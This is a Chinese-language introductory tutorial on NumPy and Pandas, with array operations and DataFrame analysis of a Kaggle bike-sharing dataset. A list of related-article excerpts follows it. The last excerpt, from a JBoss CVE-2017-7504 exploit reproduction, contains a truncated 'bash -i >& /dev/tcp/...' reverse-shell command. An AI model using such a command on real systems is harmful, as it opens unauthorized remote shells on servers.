Numpy和Pandas简介

news2025/3/7 2:54:56

推荐:使用NSDT场景编辑器快速搭建3D应用场景

如果您正在从事数据科学项目,Python 包将简化您的生活,因为您只需要几行代码即可执行复杂的操作,例如操作数据和应用机器学习/深度学习模型。

在开始你的数据科学之旅时,建议从学习两个最有用的Python包开始:NumPy和Pandas。在本文中,我们将介绍这两个库。让我们开始吧!

什么是NumPy?

NumPy代表Numeric Python,用于在机器学习模型的幕后对数组和矩阵进行有效的计算。Numpy 的构建块是数组,它是一种与列表非常相似的数据结构,不同之处在于它提供了大量的数学函数。换句话说,Numpy 数组是一个多维数组对象。

创建数字数组

我们可以使用列表或列表列表来定义 NumPy 数组:

import numpy as np
l = [[1,2,3],[4,5,6],[7,8,9]]
numpy_array = np.array(l)
numpy_array
array([[1, 2, 3],
       [4, 5, 6],
       [7, 8, 9]])

与列表列表不同,我们可以可视化矩阵 3X3,每行之间都有一个缩进。此外,NumPy提供了40多个用于数组创建的内置函数。

要创建一个充满零的数组,有函数 np.zeros ,您只需要在其中指定所需的形状:

zeros_array = np.zeros((3,4))
zeros_array
array([[0., 0., 0., 0.],
       [0., 0., 0., 0.],
       [0., 0., 0., 0.]])

同样,我们可以创建一个充满 1 的数组:

ones_array = np.ones((3,4))
ones_array
array([[1., 1., 1., 1.],
       [1., 1., 1., 1.],
       [1., 1., 1., 1.]])

还可以创建单位矩阵,它是一个方阵,主对角线上有 1,非对角线元素为 0:

identity_array = np.identity(3)
identity_array
array([[1., 0., 0.],
       [0., 1., 0.],
       [0., 0., 1.]])

此外,NumPy提供了不同的函数来创建随机数组。要创建一个由 [0,1] 上的均匀分布的随机样本填充的数组,我们只需要函数 np.random.rand :

random_array = np.random.rand(3,4)
random_array
array([[0.84449279, 0.71146992, 0.48159787, 0.04927379],
       [0.03428534, 0.26851667, 0.65718662, 0.52284251],
       [0.1380207 , 0.91146148, 0.74171469, 0.57325424]])

与前面的函数类似,我们可以定义一个带有随机值的数组,但这次时间取自标准正态分布:

randn_array = np.random.randn(10)
randn_array
array([-0.68398432, -0.25466784,  0.27020797,  0.29632334, -0.20064897,
        0.7988508 ,  1.34759319, -0.41418478, -0.35223377, -0.10282884])

如果我们有兴趣用属于区间 [low,high] 的随机整数构建一个数组,我们只需要函数 np.random.randint :

randint_array = np.random.randint(1,20,20)
randint_array
array([14,  3,  1,  2, 17, 15,  5, 17, 18,  9,  4, 19, 14, 14,  1, 10, 17,
       19,  4,  6])

索引和切片

除了用于创建数组的内置函数之外,NumPy 的另一个优点是可以使用一组方括号从数组中选择元素。例如,我们可以尝试取矩阵的第一行:

a1 = np.array([[1,2,3],[4,5,6]])
a1[0]
array([1, 2, 3])

假设我们要选择第一行的第三个元素。在这种情况下,我们需要指定两个索引,行的索引和列的索引:

print(a1[0,2]) #3

另一种方法是使用 a1[0][2],但它被认为是低效的,因为它首先创建包含第一行的数组,然后从该行中选择元素。

此外,我们可以从矩阵中获取切片,语法 start:stop:step 在括号内,其中不包括停止索引。例如,我们想再次选择第一行,但我们只选择前两个元素:

print(a1[0,0:2]) 
[1 2]

如果我们更喜欢选择所有行,但我们想提取每行的第一个元素:

print(a1[:,0])
[1 4]

除了整数数组索引之外,还有布尔数组索引,用于从数组中选择元素。假设我们只需要符合以下条件的元素:

a1>5
array([[False, False, False],
       [False, False,  True]])

如果我们根据此条件过滤数组,输出将仅显示 True 元素:

a1[a1>5]
array([6])

数组操作

在数据科学项目中工作时,经常会在不更改数据的情况下将数组重塑为新形状。

例如,我们从一个维度为 2X3 的数组开始。如果我们不确定数组的形状,有属性形状可以帮助我们:

a1 = np.array([[1,2,3],[4,5,6]])
print(a1)
print('Shape of Array: ',a1.shape)
[[1 2 3]
 [4 5 6]]
Shape of Array:  (2, 3)

要将数组重塑为 3X2 维度,我们可以简单地使用函数 reshape:

a1 = a1.reshape(3,2)
print(a1)
print('Shape of Array: ',a1.shape)
[[1 2]
 [3 4]
 [5 6]]
Shape of Array:  (3, 2)

另一种常见的情况是将多维数组转换为单维数组。这可以通过将 -1 指定为形状来实现:

a1 = a1.reshape(-1)
print(a1)
print('Shape of Array: ',a1.shape)
[1 2 3 4 5 6]
Shape of Array:  (6,)

也可能需要获取转置数组:

a1 = np.array([[1,2,3,4,5,6]])
print('Before shape of Array: ',a1.shape)
a1 = a1.T
print(a1)
print('After shape of Array: ',a1.shape)
Before shape of Array:  (1, 6)
[[1]
 [2]
 [3]
 [4]
 [5]
 [6]]
After shape of Array:  (6, 1)

同样,您可以使用 np.transpose(a1) 应用相同的转换。

数组乘法

如果您尝试从头开始构建机器学习算法,则肯定需要计算两个数组的矩阵乘积。当数组具有超过 1 个维度时,可以使用函数 np.matmul 执行此操作:

a1 = np.array([[1,2,3],[4,5,6]])
a2 = np.array([[1,2],[4,5],[7,8]])
print('Shape of Array a1: ',a1.shape)
print('Shape of Array a2: ',a2.shape)
a3 = np.matmul(a1,a2) 
# a3 = a1 @ a2
print(a3)
print('Shape of Array a3: ',a3.shape)
Shape of Array a1:  (2, 3)
Shape of Array a2:  (3, 2)
[[30 36]
 [66 81]]
Shape of Array a3:  (2, 2)

@ 可以是 np.matmul 的较短替代品。

如果将矩阵与标量相乘,np.dot 是最佳选择:

a1 = np.array([[1,2,3],[4,5,6]])
a3 = np.dot(a1,2)
# a3 = a1 * 2
print(a3)
print('Shape of Array a3: ',a3.shape)
[[ 2  4  6]
 [ 8 10 12]]
Shape of Array a3:  (2, 3)

在这种情况下,* 是 np.dot 的较短替代项。

数学函数

NumPy提供了各种各样的数学函数,如三角函数,舍入函数,指数,对数等。您可以在此处找到完整列表。我们将展示您可以应用于问题的最重要的功能。

指数和自然对数肯定是最流行和已知的变换:

a1 = np.array([[1,2,3],[4,5,6]])
print(np.exp(a1))
[[  2.71828183   7.3890561   20.08553692]
 [ 54.59815003 148.4131591  403.42879349]]
a1 = np.array([[1,2,3],[4,5,6]])
print(np.log(a1))
[[0.         0.69314718 1.09861229]
 [1.38629436 1.60943791 1.79175947]]

如果我们想在一行代码中提取最小值和最大值,我们只需要调用以下函数:

a1 = np.array([[1,2,3],[4,5,6]])
print(np.min(a1),np.max(a1))  # 1 6

我们还可以从数组的每个元素计算平方根:

a1 = np.array([[1,2,3],[4,5,6]])
print(np.sqrt(a1))
[[1.         1.41421356 1.73205081]
 [2.         2.23606798 2.44948974]]

什么是Pandas

Pandas建立在Numpy之上,对于操作数据集很有用。有两种主要的数据结构:系列和数据。序列是一系列值,而数据帧是包含行和列的表。换句话说,序列是数据帧的一列。

创建系列和数据帧

要构建序列,我们只需将值列表传递给方法:

import pandas as pd
type_house = pd.Series(['Loft','Villa'])
type_house
0     Loft
1    Villa
dtype: object

我们可以通过传递对象字典来创建数据帧,其中键对应于列名,值是列的条目:

df = pd.DataFrame({'Price': [100000, 300000], 'date_construction': [1960, 2010]})
df.head()

Numpy和熊猫简介

创建数据帧后,我们可以检查每列的类型:

type(df.Price),type(df.date_construction)
(pandas.core.series.Series, pandas.core.series.Series)

应该清楚的是,列是系列类型的数据结构。

汇总函数

从现在开始,我们将通过使用Kaggle上提供的自行车共享数据集来展示Pandas的潜力。我们可以通过以下方式导入 CSV 文件:

df = pd.read_csv('/kaggle/input/bike-sharing-demand/train.csv')
df.head()

Numpy和熊猫简介

Pandas不仅允许读取CSV文件,还允许读取Excel文件,JSON,Parquet和其他类型的文件。您可以在此处找到完整列表。

从输出中,我们可以可视化数据帧的前五行。如果我们想显示数据集的最后四行,我们使用 tail() 方法:

df.tail(4)

Numpy和熊猫简介

很少的行不足以很好地了解我们拥有的数据。开始分析的一个好方法是查看数据集的形状:

df.shape                    #(10886, 12)

我们有 10886 行和 12 列。是否要查看列名?这样做非常直观:

df.columns

Numpy和熊猫简介

有一种方法可以将所有这些信息可视化为唯一的输出:

df.info()

Numpy和熊猫简介

如果我们想显示每列的统计信息,可以使用 describe 方法:

df.describe()

Numpy和熊猫简介

从分类字段中提取信息也很重要。我们可以找到季节列的唯一值和唯一值的数量:

df.season.unique(),df.season.nunique()

输出:

(array([1, 2, 3, 4]), 4)

我们可以看到值为 1、2、3、4。然后,有四个可能的值。这种验证对于理解分类变量和防止色谱柱中包含的可能噪声至关重要。

要显示每个级别的频率,我们可以使用 value_counts() 方法:

df.season.value_counts()

Numpy和熊猫简介

最后一步应该是检查每列上的缺失值:

df.isnull().sum()

Numpy和熊猫简介

幸运的是,我们在这些字段中没有任何缺失值。

索引和切片

与在 Numpy 中一样,有基于索引的选择来从数据结构中选择数据。有两种主要方法可以从数据帧中获取条目:

  • ILOC 根据整数位置选择元素
  • LOC 根据标签或布尔数组获取项目。

要选择第一行,iloc 是最佳选择:

df.iloc[0]

Numpy和熊猫简介

如果我们想选择所有行,只选择第二列,我们可以执行以下操作:

df.iloc[:,1]

Numpy和熊猫简介

也可以同时选择更多列:

df.iloc[0:3,[0,1,2,5]]

Numpy和熊猫简介

根据索引选择列变得很复杂。最好指定列名。这可以使用 loc:

df.loc[0:3,['datetime','season','holiday','temp']]

Numpy和熊猫简介

与 Numpy 类似,可以根据条件过滤数据帧。例如,我们要返回天气等于 1 的所有行:

df[df.weather==1]

Numpy和熊猫简介

如果我们想返回包含特定列的输出,我们可以使用 loc:

df.loc[df.weather==1,['season','holiday']]

Numpy和熊猫简介

创建新变量

新变量的创建对从数据中提取更多信息和提高可解释性具有巨大影响。我们可以根据工作日的值创建一个新的分类变量:

df['workingday_c'] = df['workingday'].apply(lambda x: 'work' if x==1 else 'relax')
df[['workingday','workingday_c']].head()

Numpy和熊猫简介

如果有多个条件,最好使用字典和方法映射来映射值:

diz_season = {1:'winter',2:'spring',3:'summer',4:'fall'}
df['season_c'] = df['season'].map(lambda x: diz_season[x])
df[['season','season_c']].head()

Numpy和熊猫简介

分组和排序

您可能希望根据分类列对数据进行分组。这可以使用分组方式:

df.groupby('season_c').agg({'count':['median','max']})

Numpy和熊猫简介

对于季节的每个级别,我们都可以观察到租用自行车的中位数和最大值。如果不根据列进行排序,此输出可能会令人困惑。我们可以使用 sort_values() 方法做到这一点:

df.groupby('season_c').agg({'count':['median','max']}).reset_index().sort_values(by=('count', 'median'),ascending=False)

Numpy和熊猫简介

现在,输出更有意义。我们可以推断,租用自行车数量最多的是夏季,而冬季则不是租用自行车的好月份。

结语

就是这样!我希望您发现本指南对学习NumPy和Pandas的基础知识很有用。它们通常是分开研究的,但首先了解NumPy,然后理解Pandas,这是建立在NumPy之上的,这可能是有见地的。

当然,有些方法我没有在本教程中介绍,但目标是介绍这两个库中最重要和最流行的方法。代码可以在Kaggle上找到。感谢您的阅读!有好的一天!

原文链接:Numpy和Pandas简介 (mvrlink.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/999368.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Linux]进程间通信--共享内存

[Linux]system V共享内存 文章目录 [Linux]system V共享内存共享内存通信的原理系统接口创建共享内存接口关联共享内存接口去关联共享内存接口删除共享内存接口 使用指令操作共享内存查看共享内存删除共享内存 共享内存的特性编码测试共享内存 共享内存是Linux系统下的一种进程…

spring boot项目运行及打包

目录 一、项目示例 二、项目运行 三、项目打包 3.1 配置打包项 3.2 运用maven工具打包 3.3 运行打包好的jar文件 一、项目示例 创建项目逻辑实现文件(控制URL路径访问及内容逻辑实现) 如上图点击创建新的java class文件,编辑文件内容&…

开发工程师VS测试工程师VS测试开发工程师

每年正式上班之后就会非常忙,今年也不例外。我们公司现在也忙了起来,都没有时间写我的自动化测试教程了。不过大家放心,我会继续写下去的,不过可能更新的不那么快了。最近被同事问到了一个问题,开发,测试和…

nvidia-smi指令报错:Failed to initialize NVML: Driver 解决

文章目录 如何解决题外话,ubuntu22如何安装NVIDIA驱动 我的系统是ubuntu22。 如何解决 我是之前有能用的驱动,但突然服务器nvidia-smi命令不能用了。 看网上说重启就好了,我重启后还是没用,我建议是重启后运行下面2个指令。 运…

python开发之个人微信机器人的开发

简要描述: 发送链接 请求URL: http://域名地址/sendUrl 请求方式: POST 请求头Headers: Content-Type:application/jsonAuthorization:login接口返回 参数: 参数名必选类型说明wId是st…

运维学习之采集器Node-Exporter 1.3.1安装并使用

参考《监控系统部署prometheus基本功能》先完成prometheus部署。 wget https://github.com/prometheus/node_exporter/releases/download/v1.3.1/node_exporter-1.3.1.linux-amd64.tar.gz下载压缩包。 tar -zxf node_exporter-1.3.1.linux-amd64.tar.gz进行解压。 cp node_e…

【图神经网络 02】图卷积

1 图卷积概念 图卷积获取特征需要:各节点输入特征、网络结构图。 图卷积是半监督任务,不需要全部标签,少量标签也能训练,计算损失时只考虑有标签。 2 图卷积计算方式 针对橙色节点,计算特征:平均其邻居特…

测试----计算机网络

文章目录 计算机网络的历史OSI/RM 协议TCP/IP协议IP地址 计算机网络的历史 50-60年代 内部通讯功能(连接的是同一台主机,只能主机和终端之间通信,终端和终端之间的通讯只能依靠主机来传输)60-70年代 主机和主机之间能通讯70年代-…

MDO4104B-6泰克Tektronix混合域示波器

181/2461/8938泰克MDO4104B-6混合域示波器,1 GHz,4通道。,5 GS/s,6 GHz射频通道。 介绍世界上第一台示波器,它包括一个逻辑分析仪、频谱分析仪和协议分析仪-所有同步的集成视图。虽然您可以将Tektronix MDO4000B系列简…

李沐《动手学深度学习》torch.cat() 和 torch.stack()的区别及思考

一、问题引出 好久没更新啦!最近在学习沐神《动手学深度学习》6.5节池化层的时候,发现沐神在两处相似的地方使用了两种Python拼接函数torch.cat()和torch.stack(): 百思不得其解,于是查阅相关文档之后终于弄清楚了两者之间的区别…

安全文件传输如何进行管控,从而促进业务的有序发展?

随着信息化技术的不断发展,安全文件传输对于企业来说变得越来越重要,企业数据安全在近几年频繁发生,有不少企业都因数据泄漏而造成不同程度的损失,很多企业花费人力和财力采取各种措施,来确保自身数据安全和文件安全。…

stm32--独立看门狗

最近学习到独立看门狗,总结下笔记 1.看门狗的作用:防止程序异常跑飞,跑飞时,进行系统复位,从而不会导致代码瘫痪,奔溃卡死在某段程序。 2.看门狗其实是12bit递减计数器,,减到0会产…

华为星闪联盟:引领无线通信技术创新的先锋

星闪(NearLink),是由华为倡导并发起的新一代无线短距通信技术,它从零到一全新设计,是为了满足万物互联时代个性化、多样化的极致、创新体验需求而诞生的。这项技术汇聚了中国300多家头部企业和机构的集体智慧&#xff…

睿趣科技:抖音开店前期需要准备什么

抖音作为全球最受欢迎的短视频平台之一,已经成为了许多年轻人的创业和赚钱的机会。如果你计划在抖音上开店,那么在正式开业之前,有一些重要的准备工作是必不可少的。下面就是抖音开店前期需要准备的关键步骤和注意事项。 确定你的目标和产品&…

『PyQt5-Qt Designer篇』| 09 Qt Designer中分割线和间隔如何使用?

09 Qt Designer中分割线和间隔如何使用? 1 间隔1.1 水平间隔1.2 垂直间隔2 分割线2.1 水平线2.2 垂直线3 保存并执行1 间隔 间隔有水平间隔和垂直间隔: 1.1 水平间隔 拖动4个按钮,并设置为水平布局: 在第一个按钮的右边添加一个水平间隔: 设置其sizeType为Fixed,宽度为20…

JDK、CGLib、Javassist实现动态代理

一、类加载 1.类加载过程模拟(先明白类加载过程,方可模拟类运行期间加载-创建代理类,调用目标方法) public class Programmer {public void code() {System.out.println("Im a Programmer,Just Coding.....");} }/***…

第二证券:BC电池概念再度活跃,永和智控涨停,广信材料等拉升

BC电池概念11日盘中再度活跃,截至发稿,广信材料涨超17%,永和智控涨停,帝尔激光涨超6%,英诺激光、爱旭股份涨超3%。 职业方面,近日,隆基绿能举办半年报成绩说明会,会上董事长钟宝申在…

软件架构设计(十三) 构件与中间件技术

中间件的定义 其实中间件是属于构件的一种。是一种独立的系统软件或服务程序,可以帮助分布式应用软件在不同技术之间共享资源。 我们把它定性为一类系统软件,比如我们常说的消息中间件,数据库中间件等等都是中间件的一种体现。一般情况都是给应用系统提供服务,而不是直接…

vue2通过.env进行多环境配置

这边 我们先创建一个本地文件夹 作为项目的存放目录 然后我们执行 vue create 项目名 创建一个vue项目 例如 我这里这样 vue create multiple_environ创建一个叫 multiple_environ 的vue项目 这里 我们选择vue2的版本 然后 在 然后 大家可以配置多个环境 但都需要用因为命…

JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)

一、影响版本 Jboss AS 4.x及之前版本 二、搭建环境 三、漏洞验证 访问/jbossmq-httpil/HTTPServerILServlet,出现以下页面代表存在漏洞 四、漏洞复现 1.nc开启监听 2.生成序列化数据 使用工具ysoserial.jar生成序列化数据 bash -i >& /dev/tcp/192.16…